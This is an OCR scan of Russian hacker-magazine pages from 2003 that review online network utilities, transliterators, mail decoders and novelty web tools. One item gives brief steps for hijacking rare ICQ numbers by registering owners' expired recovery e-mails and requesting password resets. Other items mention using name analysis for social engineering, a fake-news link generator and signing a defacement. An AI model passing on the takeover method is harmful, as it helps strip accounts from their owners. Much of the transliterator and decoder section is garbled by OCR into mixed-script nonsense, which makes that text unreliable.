русский сервер? Ладно, вот тебе 
еще парочка ссылок. Может, они 
удовлетворят твои нечеловече- 
ские потребности... 
traceroutes.com (http://www.tra- 
ceroutes.com/) - около 400 серве- 
ров, российских - 5. 

Traceroute (http://www.ryston.cz/ 
petr/traceroute3.html) - порядка 
600 сайтов, 12 российских. 
traceroue.org (http://www.tracerou- 
te.org/) - около 800 серверов в 61 
стране мира, отечественных - 23. 


VisualRoute Server Dulles, 
Virginia, USA 
http://visualroute.visualware.com/ 
Ты надеялся увидеть здесь спи- 
сок с сотней русских {гасегоще- 
серверов? Я не оправдаю твои 
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надежцы ;). Сейчас я тебя поз- 
накомлю с он-лайновым анало- 
rom neotrace или visualroute. 
Собственно, держит его в рекла- 
мных целях та же лавочка, что 
породила последнего. Для тех, 
кто не знаком с этими прогами, 
рекламирую: VisualRoute Server, 
кроме того что расскажет тебе о 
компах, через которые шел твой 
запрос и о задержках на каждом 
участке, нарисует тебе еще и 
график и покажет на карте ми- 
ра, где твои !р-пакеты носило. 
Один недостаток: всю эту работу 
он проделает со своего сервака 
в Виржинии. И еще один: с одно- 
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го айпишника можно отправлять 
на VisualRoute Server не больше 
8 запросов. 


Интернет в Одессе: Traceroute 
http://www.internet.odessa.ua/ 
trace.html 

А если ты хочешь понять, что 
значат все эти цифры, которые и 
составляют, в общем-то, отчет 
{гасегощег'а, набивай 
http://www.internet.odes- 
sa.ua/trace.html. Этот сайт, в 
контексте позапрошлого разде- 
ла, достопримечателен не столь- 
ко возможностью трассировки с 
10 точек, сколько именно про- 


м 


стым и понятным мануалом по 
интерпретации полученных ре- 
зультатов (разбору полетов, я 
бы даже сказал). 


ПРОЧАЯ ДРЯНЬ 

А теперь пройдемся по разным 
сайтам, не попавшим ни в один 
из предыдущих разделов, но 
представляющим не меньший ин- 
терес. 


Netcraft Web Site Finder 
http://www.netcraft.com/ 
Это поисковик веб-сайтов. Толь- 


ко ищет он не по содержимому 
сайта, а по его адресу. Получает- 
ся что-то типа WwWw.whois.SC: BBO- 
дишь ему часть адреса, а он тебе 
выдает все зарегистрированные 

домены во ВСЕХ (и общих, и на- 

циональных) зонах - лишь бы ад- 
рес содержал твой запрос. Инте- 
ресный факт: урлов, содержащих 
"хакер", Неткрасфт знает всего на 
один больше, чем whois.sc... Под- 
става? Нет, просто этот товарищ 

не будет любить твои мозги из-за 
освобожденных доменов - только 
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зарегистрированные на данный 
момент. Правда, сайта там может 
и не оказаться ;). 

А еще, не отходя от кассы, ты 
можешь узнать ось веб-сервера - 
только дай адрес! 


Asechka.ru/base - online база 
primary e-mail на 6-значные ICQ 
http://asechka.ru/base/ 

Хочешь шестизначную асю? Я то- 
же хочу ;). Первый шаг к угону 
этого раритета - узнать владель- 
цев, вернее - их primary e-mail. 
Потом перебираешь все мыла, на- 
ходишь незарегистрированное и 
регишь на себя. Дальше забыва- 
ешь пароль, заказываешь его на 
теперь уже твое мыло, и антиква- 
риат в кармане! Ну, это тема для 
отдельной статьи, а пока, соб- 
ственно, база primary e-mail. База 
склепана в начале 2002 года и 


i 


знает 516933 личностей, точнее - 
их адресов. asechka.ru/base ты 
уже набрал, теперь осталось вве- 
сти маску УИНа. Так же, как и при 
поиске файлов, можешь исполь- 
зовать "*" и "?". Если ищешь KOH- 
кретного чела, составляй запрос 


МЕВ/ХАЦКЕРСКИЕ ТУЛЗЬ 


как можно точнее - выдаются 
только первые 512. Ну, а если ты 
знаешь только мыло, набивай его 
- с НИМ ТОЖе разберутся! 


КОМПЛЕКСНЫЕ ОБЕДЫ 

Можно, на самом деле, все выше- 
перечисленные и многие другие 
сервисы найти в одном месте - и 
хуиз, и проксичекер, и пинг, и 
трейсрут - все в одной куче! А 
вот где искать эту кучу, сейчас 
узнаешь. 


lonTail - сетевые утилиты 
http://www.iontail.com/?p=utils 
Этот товарищ сделает для тебя: 
whois, ip-whois, dig, ns lookup, port 
check и ping. Здешний dig никако- 
го отношения к старому доброму 
digger'y не имеет, но заслужива- 
ет внимания - как м!По!5-сервис - 
за то, что умеет копаться в зонах 
spb.ru, msk.ru, spb.su, msk.su и 
вытаскивать оттуда необходимую 
информацию. Еще одна удобная 
фишка - можно на одну страницу 
вывести результат работы всех 
доступных сервисов; просто вве- 
ди имя домена и параметры для 


пинга и портчекера. 
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All Nettools: Network Tools 
http://www.all-nettools.com/ 
tools1.htm 

All Nettools тоже выделяется 
своим whois-cepBUCOM, носящим 
гордое название SmartWhois. Его 
фишка в том, что он выдает не 
стандартную инфу, а только стра- 
ну, город и администратора, при- 
чем нарыть эти данные он может 
по домену третьего уровня и 
глубже. Наиболее полезен, имхо, 
СмартХуиз будет в познаватель- 
ных целях. 

Проксичекер здесь совсем 
простой, но проверку на ано- 
нимность все-таки делает. Если 
хочешь, тебе даже доложат, что 
твоя бродилка может про тебя 
рассказать любому желающему. 
Ну, а из стандартных сервисов 
здесь еще traceroute (только с 
их сервера, правда), ping и nslo- 
okup. 


TOOLS-ON.NET 
http://tools-on.net/net.shtml 

Я бы это назвал грандиозной 
сходкой веб-тулзов. Кроме стан- 
дартных пинга со 120 точек, {гасе- 
route’a - с 30 (из которых 16 рос- 
сийских); whois-cepBuca, поддер- 
живающего мультиязычные доме- 
ны; релей-чекера и проверки об- 
новления страниц, на тулз-он.нет 
имеются утилиты для работы с 
ДНС, конвертер имя_хоста‹=»р, 
раде autoreloader и еще паровоз 
разных утилей, включая фишку, 
проверяющую статус аськиного 
клиента и его время в сети. 

А где еще можно узнать, что 
уапаех.ги эквивалентен 
3585393281? Теперь тебе не на- 
gO запоминать эти непонятные 
имена - пара цифр, и все! 


Ну, а если ты пороешься в меню 
и обнаружишь там privacy tools, 
то сможешь воспользоваться 
проксичекером, анонимными сер- 
ферами и мылерами, сканером 
портов и еще кучей всяких бес- 
ценных тулзов. 


Вот, собственно, и все, что я 
хотел тебя рассказать... Хотя нет, 
еще одно: если ты сидишь в нете 
только из дома - забей на это 
все, скачай ip-tools и не парься :)! 
До следующих встреч в эфире! 
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Проверить 
статус аськи- 
ного клиента 
и его время в 
сети - проще 
простого, про- 
бить аноним- 
ный серфер - 
не проблема: 
http://tools- 
on.net/ 
net.shtml. 


Можешь 
запомнить 
один адрес: 
http://quaken- 
stein.chat.ru/ 
halyava/to- 
ols.htm - 
здесь есть 
ссылки на что 
угодно! 
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TRANSLIT RULIT 


ОНЛАЙНОВЫЕ ТРАНСЛИТЕРАТОРЫ 
И ПОЧТОВЫЕ ДЕКОДЕРЫ 


matt gophph (matt@nm.ru) 


тут в срочном mapa 
ка надо оекодирое 
вать ыессагу OF по" 
други ипи накапякать пару спа 
какому нибудь утыенянеттрусских” 
шрисртоа ксакепу. Хотя, даже eon 
все вышеперечнопенное не про Te 
ба, я думаю, ты найдешь в этом 
опусе пару интересных y Tne! 


TRANSLITERATORI 

Первое отоепение нашего Canoe 
няшнего концерта посвящено 
транепитераторам, Эго проги, во 
торые переводят фарова“ в “да 
гома”, "воыл” в "Котр”, а “ебау“ 
В... “Зуншисин такой в Интернете”. 
Нужны они, в осноаном, эмигран- 
там, которым без ыазы наливать 
руссвне буквы на Aaa мпи у Roe 
торых просто нет нирилпическия 
шрисцутое, Усаживайся поуфобвей, 
отЕпюочай Saye MONE и аникай! 


Internet On-screen 

Russian Translit Translator 
ee 

Да, agpec этой nar набивать 
придется долго. Но некоторые 
COMLIEM этот HEQOCTATOR юомпенси- 
рут. "Все очень просто”: во’ 
BHU TENT, KARMEL Transl 
to Cyrillic ana Cyrillic ta Transit, 
HQEIUb GeUN (ol), пока мы nogy 
маем, и найпюмаешь в тоы же 
текстовом поле переваренную 
weecary. Cine обожнатепей крысы 
мыветсв достаточно удобная внр- 
тузпьная клава, кстати говоря, 
еринственная работающая среди 
транслитераторав. Ewe ну очень 
оригинально эоесь водируется 
“2° - "Е", Сдепано ото, ныхо, оля 
точного обратного перевода рус- 
ский-транстит-русский {чтобы не 
перепутать ее с русской "Е“). 


Цифирица Transit - Транслит 
ем ни кали 

Очень простой м очень удобныьзя 
двусторонний транспитератор. 
Просто вводишь, текст и жмешь 
“конвертить”. А он уж сам фотаба- 
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ется, откуда и куда, Есть ageck 
краткий мануале кли надо’ Hated 
вать теюст, чтобы он правильно 
конвертировалея. Еще снуна QUAL 
ка этого транопитератора пуриевгие 
кпа мое внимание часа на 0887 
BAGH "Фигак”, он отвечает; 
"Сам дурак”. Ппоская шутка? Тог- 
да зажои м пробуя сам: 

Liger not found :) 


Па, и не забудь М и Ж поповые 
девайсы с транспита на русский 
переконвертить. 


Lata 


Автоматический переводчик с 
русского пзына в транслитера- 
цию и назао 
httpaitwwe.mobile por 
taLklew.ua)'sms.phimi 

Эта, вак можно догадаться по ag 
ресу, сайт, посвищенный мобипаы. 
Но размешенные эдесь транспите- 
рагоры COST, по ярайней мере, 09- 
ного абзаца в TOW Ohoope, “ow 
OHM SaCy HAN Tas yo ECT? Мон 
вертирование производится "на 
Nery”, во резупьтат, в OTA от 
энапогов, NOWENRETCA HE в тоы me 
окне, убивая весь оригинапьный 
тест, а в HOBOM, Сохраняя при 
этом ассоцинативность. То есть, 
CNA ты пишешь, “технопогия 
убобньай, HG... а NOT, Пр В 
шись в самоучитепях по PyCOROMY 
языку, Понимаешь, что ТРУНОПО- 
arr ¥OODHAFI, возвращаешься 
KO второму Choe) и преспокойно 
меняешь “ый” на “ая” конверт" 
PORAHHEA Текст прин этом исправно 
ыеняется на “ифабпауа”. Ape то- 


AB Pe ee 


Fetransiit.ru 


бар ва de аа 5 вшыа ша 
Е PE eer ee eee: кВ mE 


ee 


го, данный пациент оперативно и 
зеюватно реагирует на астаяюу 
текста из буфера и имеет KOH, 
который умеет конвертировать в 
обратную сторону. 


Transiit.ru = мириллица forever! 
fithpe/ www. transiit.nuf 


Самое пучшее в этом THC Te 
рагоре - адрес. Все остальное, 
иыхо, чересчур накручено и мап- 
fa нофофепано, Для оспопомчитас 


тепей, правза, есть, вонвертиро- 
вание транепит-русский “на me 
Ty”. но направпение придется вы- 
бирать вручную, Xora можно про 
сто юзать внопари в патинишу”, 
"в кириппицу”, батоны работы с 
бутераы подчиняются топько 
ИА, а тах, ито на Опера ипи Het 
WEDS, отправляют сразу на 
бро weew.transiit.ru/2. Ниюанюого 
уважения! Заявленная вирт" 
апьная кпава, го непонртным 
причинам, отказывается работать 
nog motor Spoink, Зато nog 
OCR есть ннопки поиска на Ян- 


дексе и перевода конвертирован- 
ного текста, Такой вот гапИ. ги... 


ДЕИНДЕПШ (декодеры? 
Второе отделение нашего Cerog- 
нашнаго воншерта посвеяцена_, 
фа, именно ДЕЙНОЕПЮЙ, Это та- 
ние проги, которые деюсьуируюот 
разные нечитабельные загопов- 
ки статей и письма, преврашая 
если, конечно, попучится} их в 
теанациай русский глаз танст. Ис- 
попьзуются они, вак правипо. 
пя расшисфровжи ыаосаг, при 
шедших по Meany в непонятной 
кодировка, Препюсия, часть 2, 
комппит. Вася, давай сранеру! 


Почтовый декодер 
= ИВ 


-- о „АИ 

А. узрел а урпа arthebeder и des- 
ign?! Да, этот онпайновый поч: 
товый денсфер депяется пооевтюы 
студии Артеымя Netegera и ot 
LUGE) работать с кодировками 
mac, kol, win, ino, dos. Mora на 
практике ифеапьно он работает 
толька с виноы и кортиноы (Hae, 
AM, и всё остапьные?. К пре- 
имуществам можно отнести спо“ 
собность, выстраивать WETo Ri 
феюослирюваавыя типа kol- mac eo- 
twine. Hkol (ay, 300 A, ROHEYHO, 
агни и выдачу пога своих из- 
вратов. "Почтовый декодер” game 
наюодит общий язык с транепи- 
том, А вот изозаатепьства в виде 
разных юсхуировок ипи гранспита 
н нерусского брефа! в офесы сое 


ррый Grace; 


обшении он переносит поз» 
Вернее, просто игнорирует, 


Е Je-kazan.ru/decoder 


Это, пожатуй, самый быстрый м 
свыый простоя он-пайновый деко- 
днразшик. который только можно 
придумать. Ничего пишнегос ника- 
ких рисунюсн и никому не нужных 
мануалов - краткое вступлинние и 
Q8¢ кнопки, хотя можно Geno 
OOM H OGHOR 1), Зато этот Ge 
кодер (единственный, посмовы) 
выдает несколько варнантов рас- 
шисуровни ыассаги, ради KOTO 


рых тебе ayga пегче, чем комгту, 
выбрать. Ras Noga, 


Text converter 

hith:/(repsysru, code pip 

Гпавная осстонемимечательность 

этого денодера - BORMOMHOCTS рас” Транспитера" 
UPLATE текст как а затоыа- — ns nope 
тическомы, так и а (Py Akl режиме побит “gape 
(Cau выбираешяь, отиуоа и куда}. не 
Према на этой паге есть кратюнй в “home”, 
хапл, Ну, а еспи ничаго не поможет, eBay в 
можешь отфорвардить аатору не р ея 
FEM EMOG MHEbMO - он саысе вета", Нуины 
пично сббецазет иы заняться, ao & ocmee- 
Universal Cyrille Converter ‘bea nar ми" 
http:/ /luefir.net/ityaycyrcony/ све вы 
cyrcony.ntmi на лает, 


Een ты SHAG, OTRY Ga и уда Te 
бе надо конвертить тежст, рупы 
cea, Universal Cyrillic Converter 
работает с ком, дос, вин, изо и 
транститом. А еше он умеет деюо- 
виравать файпы прямо Е твоего 
винта и шепые сайты. Просто аво 
GUE урл, выбираесаь acy 
и конечную кодировки, и попу 
чай! Можешь даже сказать ему, 
что делать с пинками: конверти- 
ровать, конвертировать пожаль- 


ные, ничего не юонвертировать. 


Единственная пробпема: не по 7 Pi 
Оружился он у меня с Onepod, эт. H rac 
пришпось звать МА 7, рана на Tete 


ЗАНАВЕС 

Bor и NOQOWEN в конщу наш ce 
гофняшний концерт. Насекесь, ты 
os сабя выбрап транспатператоф 


одер, Ну, а мой выбор - 

благие mothe: portal. keeway! 
sms.phtmi и http:,/fe-karanru/ 
decoder, По спедукяиих встреч, 
и поменьше тебе БЯБИНИ ME- 
ДЕЙНДХПСЕПНИ YOMME 3} 


МЕВИУМНЫЕ ТУЛЗЫ 


ВЕБ-ТУЛЗЫ 


Оказывается, 
имя, ник (или 
название) - 
как набор зву- 
ков - оказыва- 
ют подсозна- 
тельное 
влияние на 
твое отноше- 
ние к человеку 


раде 


MOOF (moof@real.xakep.ru; 
http://moof.ru) 


МОЗГИ В BEBE 


УМНЫЕ ТУЛЗЫ 


Уже давно сложилось мнение, что Интернет - это одно сплошное развлечение: 
анекдоты, веселые картинки. Однако кроме развлекухи в Интернете есть и куча 


полезных вещиц. Некоторые из них могут тебе пригодится, и вообще полезно 
расширять список своих букмарков. 


постараюсь тебе 
рассказать о нес- 
кольких полезных, 
умных утилитках, которые каж- 
дый день тебе, конечно, не приго- 
дятся, но время от времени к их 
помощи прибегать приходится. 
Если ты готов, вооружился люби- 
мым браузером и быстрым Интер- 
нетом, тогда поехали! 


АНАЛИЗ ФАМИЛИИ 
http://www.analizfamilii.ru/ 
Фоносемантический (во Kak!) ана- 
лиз ника, фамилии или названия 
фирмы. Оказывается, имя, ник 
(или название) - как набор звуков 
- оказывают подсознательное 
влияние на твое отношение к че- 
ловеку. Вот ты слышишь ник "Ко- 
зел", и у тебя в подсознании сра- 
зу создается негативный образ. 
Фоносемантический анализ рабо- 
тает по принципу нашего подсоз- 
нания. Программа анализирует 
ник или любое введенное слово 
по 25 различным показателям 
(хороший - плохой, светлый - тем- 
ный, легкий - тяжелый ит.д.) и вы- 


Анализ фамилии 
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Совместимость имен 


дает табличку с теми ассоциация- 
ми, которые вызывает это слово у 
большинства людей. Получается, 
что, зная имя, можно составить 
примерный психологический 
портрет человека. Самое оно для 
занятий социальной инженерией. 
Заходи, пробуй, анализируй. Да, 
кроме того, на сайте можешь по- 
искать своих однофамильцев. 


СОВМЕСТИМОСТЬ ИМЕН 
http://astrolab.ru/cgi- 
bin/astrolog/anname.cgi 
http://astrolab.ru/cgi- 
bin/astrolog/name.cgi 

Еще один сайт для исследования 


Словарь Фамилий 


имен. Так же, как и предыдущий 
сайт, умеет анализировать ники, 
названия. Однако алгоритм, похо- 
же, другой. Я попробовал проана- 
лизировать слово "Хакер", вот ре- 
зультат: храбрый, громкий, гладкий, 
печальный. Непонятно только, по- 
чему печальный? :) Кроме инфор- 
мации об имени тут можно провес- 
ти тест на совместимость имен. 
Достаточно их ввести и нажать на 
"Проверить". Проверяем совмести- 
мость слова "Хакер" и "Спец". Ре- 
зультат: совместимость 74%. Что ж, 
по-моему, неплохо. 


СЛОВАРЬ ФАМИЛИЙ 
http://www.rusfam.ru/ 

B ele одна полезная вещь, CBASAH- 
ная с именами и фамилиями. Сайт 
содержит просто огромную базу cpa- 
милий с подробным описанием их 
значимости. Хотя официально сайт 
называется "Словарь русских сфами- 
лий", там иногда встречаются и не 
очень русские срамилии, и я думаю, 
он скоро перерастет в "Словарь cpa- 
милий народов мира" :). Словарь 
объясняет подробности происхожде- 
ния фамилии и ее значение. Кроме 
словаря, на сайте есть ряд полезной 
информации. Например, в 1897 году 
у 75% населения России не было 
фамилий! Люди получали фамилии, 
когда попадали в армию. Самые ха- 
рактерные фамилии того времени: 
Смирновы (от команды "Смирно!") и 
Новиковы (новик - "новобранец, но- 
вый молодой солдат"). 


Биоритмы 


БИОРИТМЫ 
http://goroskop.pp.ru/horoscope/b 
ioritm/index.shtml 

Замечательный сайт для определе- 
ния биоритмов. Вводишь свое имя, 
дату рождения и получаешь дан- 
ные на любой месяц любого года. С 
помощью этих самых биоритмов ты 
сможешь узнать о своем физичес- 
ком, эмоциональном и интеллекту- 
альном состоянии на определенный 
день. Кроме этого, на сайте есть го- 
роскоп предыдущей жизни, совмес- 
тимость имен, куча разных гороско- 
пов и много других полезных ве- 
щиц. В общем, находясь некоторое 
время на сайте, можно узнать о се- 
бе много нового и необычного :). 


СОВМЕСТИМОСТЬ БИОРИТМОВ 
http://vlas.narod.ru/test/biosov.htm 
Рассчитал биоритмы для себя? Te- 
перь просчитай совместимость своих 
биоритмов с биоритмами другого че- 
ловека. Ты можешь сказать, что ты 
не веришь во всю эту чушь, но на са- 
мом деле это может пригодиться как 
веский довод при обсуждении неко- 


торых проблем со своей подружкой ;). 


ДЕНЬ НЕДЕЛИ, 

В КОТОРЫЙ ТЫ РОДИЛСЯ 
http://children.kulichki.net/igry/bir 
thday.htm 

Бесполезная, HO умная утилитка. 
Определяет, какой день недели 


Все о твоем возрасте 


был в тот день, когда ты родился. 
Проверь скорее, может ты в по- 
недельник родился? Я, например, 
родился в субботу :). 


ВСЕ 0 ТВОЕМ ВОЗРАСТЕ 
http://www.re-date.com/index.php 
На этом сайте ты сможешь узнать 
всю информацию о своем возрас- 
те, а именно количество прожитых 
тобой минут, секунд, часов, дней и 
т.д. Для этого надо ввести день 
своего рождения и примерное 
время. Интересно то, что сайт вы- 
водит количество твоих лет, если 
бы ты был марсианином, напри- 
мер, или жил на другой планете. 
Кстати, почему мы празднуем день 
рождения раз в год? Почему бы не 
праздновать круглое количество 
минут или секунд? Вот, например, 
6 июля 2004 года мне исполнится 
700 000 000 секунд :). Отметим? 


ПСИХОЛОГИЧЕСКИЕ ТЕСТЫ 
http://tests.holm.ru/ 

Меня всегда увлекали всякие 
тесты, в том числе и психологи- 
ческие. А как еще можно узнать 
о себе столько нового? А тут 
проходишь, тест и тебе говорит: 
ты - маньяк :). Все просто и по- 
нятно. Тестов там огромное коли- 
чество, бери и проходи. 


CKOJIDKO ТЫ СТОИШЬ 
http://www.humanforsale.com/ 

С помощью этого замечательно 
сайта ты сможешь узнать, сколь- 


ey 


Сколько ты стоишь 


| 
| 


| 


Калькулятор зарплаты 


ко ты стоишь. Да, да, да! Ты мо- 
жешь узнать свою цену и потом 
продать себя на каком-нибудь 
аукционе ;). Для этого достаточно 
ответить на несколько несложных 


вопросов о своем здоровье, нали- 
чии вредных привычек и т.д. Пос- 
ле этого на твой почтовый ящик 
свалится письмо с твоей стои- 
мостью. Смотри, не продешеви! 
Свою стоимость сосчитали уже и 
продали более миллиона человек. 


КОНВЕРТЕР ВСЕГО 
http://www.valcompserv.com/conv/ 
Универсальный сайт, умеющий 
конвертировать все во все. Тем- 
пературу из Цельсиев в Фарен- 
гейты, километры в мили, дюймы 
в сантиметры, вес, объем и мно- 
гое другое. Меня вот всегда бе- 
сит, когда в американских филь- 
мах говорят что-то типа "go бли- 
жайшего города 10 миль". А я всю 
сознательную жизнь расстояние 
в километрах мерил. Быстренько 
лезу на сайт и узнаю, что 10 миль 
- это целых 16 километров! 


КАЛЬКУЛЯТОР ЗАРПЛАТЫ 
http://www.zarplatomer.ru/ 
Замечательный сайт для тех, кто 
решил найти себе работу. На этом 
сайте есть небольшой тестик, с по- 


мощью которого ты сможешь при- 
мерно оценить, на какой уровень 


Конвертер всего 


п i 
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МЕВИУМНЫЕ ТУЛЗЫ 


Ты можешь 
узнать свою 
цену и потом 
продать себя 
на каком- 
нибудь 
аукционе ;) 


1а5ил.1-аза 


МЕВИУМНЫЕ ТУЛЗЫ 


ВЕБ-ТУЛЗЫ 


Хочешь пос- 
мотреть, как 
выглядел сайт 
твоего люби- 
мого журнала 
несколько лет 
назад? 


раде К: 


Подделай новость 


зарплаты ты можешь рассчиты- 
вать. В тесте учитываются все мо- 
менты, вплоть до твоих связей с 
влиятельными кругами. Кроме того, 
там достаточно много профессий, 
есть из чего выбрать. Только одно 
"но", для всех специальностей за- 
даются одни и те же вопросы... 


УЗНАЙ СВОЮ СКОРОСТЬ 
ИНТЕРНЕТА 


| | uf < Ч ‚О.А. 

Сайт аля определения твоей ре- 
альной скорости подключения к 
Интернету. Твой провайдер гово- 
рито 100 Мбитах? Не верь ему! :). 
Зайди на сайт и все лучше пос- 
мотри сам. Скорость вычисляется 
следующим образом: на твой 
компьютер посылается неболь- 
шое количество данных с серве- 
ра, после чего определяется ско- 
рость, с которой эти данные до те- 
бя дошли. Вводится даже неболь- 
шая шкала с показателями твоей 
скорости. Моя скорость подключе- 
ния не дотянула даже до обычно- 
го модема: скорость канала 9.39 
Kbps, скорость загрузки на компь- 
ютер (cps): 1.17 Kbytes/sec. Такая 
вот грустная история. Конечно, 
этот метод определения скорости 
не очень точный, поскольку сер- 
вер стоит далеко и пока информа- 
ция от сервера к тебе может идти 
разными путями. Но для грубых 
тестов вполне пойдет. 


ГЕНЕРАТОР ТЕКСТА 

Все знают поисковик Яндекс. Но 
мало кто знает, что он умеет сри- 
лософствовать. По этому адресу 
ты можешь ознакомиться с потря- 
сающими философскими размыш- 
лениями, которые выдает Яндекс. 
Вот цитата: "Созерцание, как при- 
нято считать, принимает во внима- 
ние неоднозначный принцип восп- 
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Генератор текста 


ПЕ 05120) 2003 


Архив Интернета 


риятия. Отношение к современнос- 
ти профанирует типичный постмо- 
дернизм. Смысл жизни индуктивно 
подчеркивает примитивный мир." 
И все в таком духе :). Тебе может 
показаться, что эта штука абсо- 
лютно бесполезная, однако если 
надо заполнить страницу-другую 
умным текстом, то "весна" от Ян- 
декса окажется очень кстати. 


1С0-РОБОТ 
ICQ: 33221233 и 167510139 

Это не совсем ссылка, скорее да- 
же совсем не ссылка. ICQ робот! 
Даже целых две штуки. Добавь 
номер 33221233 в свой контакт 
лист и начни беседу. К сожале- 


нию, робот часто бывает недосту- 
пен, но когда он в он-лайне, с 
ним прикольно поговорить. Вто- 
рой робот 167510139 занимается 
тем, что переводит с английского 
на русский. У него даже ник спе- 
циальный "Eng-Rus Perevodchik". 
Работает очень просто: посыла- 
ешь ему слово на буржуйском, 
он присылает тебе его перевод. 
Крайне полезная вещь, когда 
много сидишь в он-лайне. 


АРХИВ ИНТЕРНЕТА 
http://www.archive.o 

Недавно в Интернете? Хочешь 
посмотреть, как выглядел сайт тво- 
его любимого журнала несколько 
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Узнай свою скорость Интернета 


Картинка > текст 


лет назад? Нет ничего про- 
ще. Идем на сайт архива Ин- 
тернета и видим сайт таким, 
каким он сохранился в архи- 
ве. Я с трудом себе предс- 
тавляю, сколько терабайт 
информации должны хра- 
нить сервера, чтобы посто- 
янно архивировать весь Ин- 
тернет. К сожалению, похо- 
же, с сохранением картинок 
у архива некоторые пробле- 
мы. :( Вот тебе прямая ссыл- 
ка на самую старую копию 
сайта журнала: 


ПОДДЕЛАЙ НОВОСТЬ 


Сайт для подделывания но- 
востей известный сетевых 
СМИ, таких как СММ, MTV и 
т.д. Ты выбираешь сайт, но- 
вость которого хочешь NOg- 
делать, сочиняешь саму но- 
вость. Из серии: "ФБР вышло 
за твоим Васей Пупкиным". 
Сервер генерирует тебе cpei- 
ковый адрес странички с но- 
востью, которую ты потом мо- 
жешь отправлять Васе. Ссыл- 
ки получаются реалистичны- 
ми, например такими: 


КАРТИНКА > ТЕКСТ 
| / 

На этом сайте ты сможешь 
перевести любую картинку 


в текст. Все очень просто - 
ты оправляешь картинку, 
это может быть твоя фотка 
или что-то другое, на сайт, и 
через несколько секунд он 
выдает тебе ту же самую 
картинку, но составленную 
из цифр, букв и других сим- 
волов. При этом она, конеч- 
но, раскрашивается и изда- 
лека вполне может сойти за 
четкую картинку. В зависи- 
мости от сложности картин- 
ки могут обрабатываться go 
нескольких минут. Мою cpo- 
тографию 100 Ha 100 пиксе- 
лей OH мурыжил целых 2 
минуты, а логотип Хакера 
перегнал за одну секунду. 


АЗБУКА МОРЗЕ 


Сайт, на котором можно пе- 
ревести текст в азбуку Мор- 
зе и обратно. Жаль, что сайт 
на английском и русский не 
понимает. Применений мо- 
жет быть масса. Например, 
ты дефейснул сайт, это же 
некрасиво писать обычный 
текст, напиши свое послание 
азбукой Морзе. Тебя сразу 
запомнят :). И помни: "-..-/.-/- 
В lal el teh l= 
вай) 


Вот и все умные и не 
очень тулзы, которые 
пришлись мне по душе. Ес- 
ли у тебя есть дополнения 
- пиши, посмотрим :). 
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Азбука Морзе 


ВНИМАНИЕ!!! 
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f Журнал "Хакер Спец" 
подписной индекс 
на второе полугодие 
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МЕВ/УНИВЕРСАЛЬНАЯ ПАГА СТУДЕНТА 


ВЕБ-ТУЛЗЫ 
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ОБЗОР НЕОБХОДИМЫХ ТУЛЗОВ В ИНЕТЕ И 


Андрей Каролик Практически в любом уважающем себя техническом ВУЗе есть инет, а вот 
(andrusha@sl.ru) необходимых тулзов, бывает, под рукой просто нет. В этом случае непринужденно 
дыбаешь где-нибудь в инете исходники необходимых скриптов и сваливаешь их на 
свою пагу для дальнейшего плодотворного юзанья. 
ото том, где и что Сложнее, если это форма, ко- 
надыбать, я тебе торая ссылается на какой-ни- 
сейчас и поведаю. будь сд!-скрипт. Тогда выка- 
Заодно научу, как содрать фор- чать не выйдет, но можно со- 
му, если скрипт выкачать нельзя. слаться к этому скрипту по аб- 
Глотни пивка и вникай. солютному адресу, содрав са- 
му форму. Поясню на примере 
ВЕНУ о ан aa! i описанного скрипта для вычи- 
Gifimt 5 to" oo: сления интегралов (http://inte- 
ы grals.wolfram.com/index.en.cgi). 
—— ee SS http://www.analogdevices.ru/ Если выкинуть все лишнее, TO 
| ы Analog_Root/sitePage/direct/ форма там такая: 
interactiveDesignTools/ 
Если у тебя есть предметы, связан- <form action="/index.en.cgi” 
ные с электроникой, то этот ресурс method="post"> 
будет отличной кислородной nog- <input type="hidden" name="format” va- 
питкой. Тут валяется неимоверное lue="StandardForm"> 
=== =! количество схем элементов Analog <input type="hidden” name="FontSize” 
Devices: всякие усилители, драйве- value="Medium"> 
http://nickciske.com/tools/ ры, источники напряжения и тока, = skip: 
binary.php контроллеры, АЦП, ЦАП ит.9д. По- <table border="0"><tro<td><img src="ima- 
Реактивный перекодировщик из добное богатство есть, конечно, и ges/integral.gif” width="10" 
ASCII в бинарник и наоборот. He в специальных справочниках. Но height="36"></td> 
знаю, пригодится ли тебе это ge- ~—sTYT изюминка в TOM, что описание <td valign="middle"><input type="text” 
ло на информатике, HO можно эл- и схемы снабжаются апплетами, name="expr” size="30" value="E%(a x) 
ементарно переписываться Ha которые позволяют в реальном Sin[b x]"></td> 
всех остальных предметах и не времени менять параметры схем. <td><input type="image” src="ima- 
волноваться о TOM, что преподы Подумать только, ты можешь в ges/dx.gif” border="0" width="14" 
расшифруют вашу тайную пере- считанные секунды обсчитать лю- height="18"></td></tr></table> 
писку. Приятно, что 3AKOGUPOBaH- OylO приведенную схему и разо- = skip = 
ный в бинарный код русский браться в принципе работы любо- </form> 
язык после декодирования оста- го сложного регистра. Если же 
ется русским :). вдруг, меняя параметры, достиг- Передираешь этот код, заме- 
Baoquiias нешь критических значений Ha- нив относительную ссылку ас- 
функцию лю- пряжения или тока, тебе заботли- tion="/index.en.cgi" на абсо- 
С еыый Е Е и во об этом сообщат, но при этом лютную action="http://inte- 
оон COMA Тео) Ил Пот ты ничего не сожжешь! grals.wolfram.com/index.en.cgi”. 
переменных, вляет собой ява-скрипт или Плюс выкачай картинки inte- 
dum quanesod ява-апплет, утаскивай без осо- gral.gif и dx.gif, которые лежат 
изменения пе- | ObIX ПРОбЛЕМ. Для этого поле- в http://integrals.wolfram.com/ 
раеныых, и, зай в html-kog вражеской паги images. Для полной девствен- 
Рафик roros’ | и ищи ссылки на искомые ности поставь уаше=”” вместо 
скрипты или апплеты. Ява- уа!ие="Е^(а x) Sin[b х]". Теперь 
т вставляй эту форму а своей 
оны oo паге и пользуйся на здоровье. 
Е Е ЗК Остальные формы дерутся 
р ь аналогично. 
исходному коду, запускай про- 
гу типа GetRight и выкачивай http://gauss.h1.ru 
ЕРЕСИ бабушке. Потом Нужно решить систему линейных на "Решить". Не успеешь открыть 
выкладывай, куда удобнее, и уравнений матричным способом _ рот, тебе и решение выдаст, и 
прописывай к ним пути, чтобы по методу Гаусса? Да нет про- промежуточные преобразования 
все работало. блем. Заходишь, вводишь эл- матрицы, а то еще подумают, что 


раде 


ементы матрицы и ехидно жмешь ты где-то списал ответ :). 


ТЕТРА 


=r 
SEU AE = 05(30) 2003 


http://javaboutique.internet.com/ 
Chemis3D 

Мечта химиков. Апплет позволяет 
покрутить молекулу а-ля 3D (дан- 
ные берет из форматов *.ху?, 

